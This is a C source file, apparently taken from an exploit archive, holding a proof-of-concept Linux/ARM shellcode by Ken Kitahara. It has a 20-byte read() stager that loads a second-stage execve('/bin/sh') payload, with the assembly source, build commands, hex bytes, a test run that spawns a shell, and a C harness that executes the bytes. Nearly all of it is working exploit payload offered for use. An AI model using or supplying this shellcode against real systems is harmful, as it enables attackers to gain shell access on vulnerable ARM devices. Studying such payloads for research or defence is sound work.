96 lines
No EOL
2.4 KiB
C
96 lines
No EOL
2.4 KiB
C
/*
|
|
# Title: Linux/ARM - read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode (20 Bytes)
|
|
# Date: 2018-08-31
|
|
# Tested: armv7l (Raspberry Pi 3 Model B+)
|
|
# Author: Ken Kitahara
|
|
|
|
[System Information]
|
|
pi@raspberrypi:~ $ uname -a
|
|
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
|
|
pi@raspberrypi:~ $ lsb_release -a
|
|
No LSB modules are available.
|
|
Distributor ID: Raspbian
|
|
Description: Raspbian GNU/Linux 9.4 (stretch)
|
|
Release: 9.4
|
|
Codename: stretch
|
|
pi@raspberrypi:~ $
|
|
|
|
[Procedure]
|
|
(1) Create main shellcode in THUMB state. This PoC's example is execve("/bin/sh", NULL, NULL) shellcode (20 Bytes).
|
|
|
|
pi@raspberrypi:~ $ cat binsh.s
|
|
.section .text
|
|
.global _start
|
|
|
|
_start:
|
|
.THUMB
|
|
// execve("/bin/sh", NULL, NULL)
|
|
adr r0, spawn
|
|
eor r1, r1, r1
|
|
eor r2, r2, r2
|
|
strb r2, [r0, #7]
|
|
mov r7, #0xb
|
|
svc #1
|
|
|
|
spawn:
|
|
.ascii "/bin/shX"
|
|
pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
|
|
pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
|
|
pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' binsh.bin && echo
|
|
\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58
|
|
pi@raspberrypi:~ $
|
|
|
|
|
|
(2) Create stager shellcode (20 Bytes).
|
|
|
|
pi@raspberrypi:~ $ cat stager.s
|
|
.section .text
|
|
.global _start
|
|
|
|
_start:
|
|
.ARM
|
|
add lr, pc, #1
|
|
bx lr
|
|
|
|
.THUMB
|
|
// read(0, buf, 0xff)
|
|
eor r0, r0, r0
|
|
adr r1, loadpoint
|
|
mov r2, #0xff
|
|
mov r7, #3
|
|
svc #1
|
|
mov pc, r1
|
|
loadpoint:
|
|
pi@raspberrypi:~ $ as -o stager.o stager.s && ld -N -o stager stager.o
|
|
pi@raspberrypi:~ $ objcopy -O binary stager stager.bin
|
|
pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' stager.bin && echo
|
|
\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1\x40\x40\x02\xa1\xff\x22\x03\x27\x01\xdf\x8f\x46
|
|
pi@raspberrypi:~ $
|
|
|
|
(3) Operation test.
|
|
|
|
pi@raspberrypi:~ $ (echo -ne "\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58"; cat) | ./stager
|
|
id
|
|
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
|
|
exit
|
|
^C
|
|
pi@raspberrypi:~ $
|
|
|
|
*/
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
unsigned char sc[] = \
|
|
"\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1"
|
|
"\x40\x40\x02\xa1\xff\x22\x03\x27"
|
|
"\x01\xdf\x8f\x46";
|
|
|
|
void main()
|
|
{
|
|
printf("Shellcode Length: %d\n", strlen(sc));
|
|
|
|
int (*ret)() = (int(*)())sc;
|
|
|
|
ret();
|
|
} |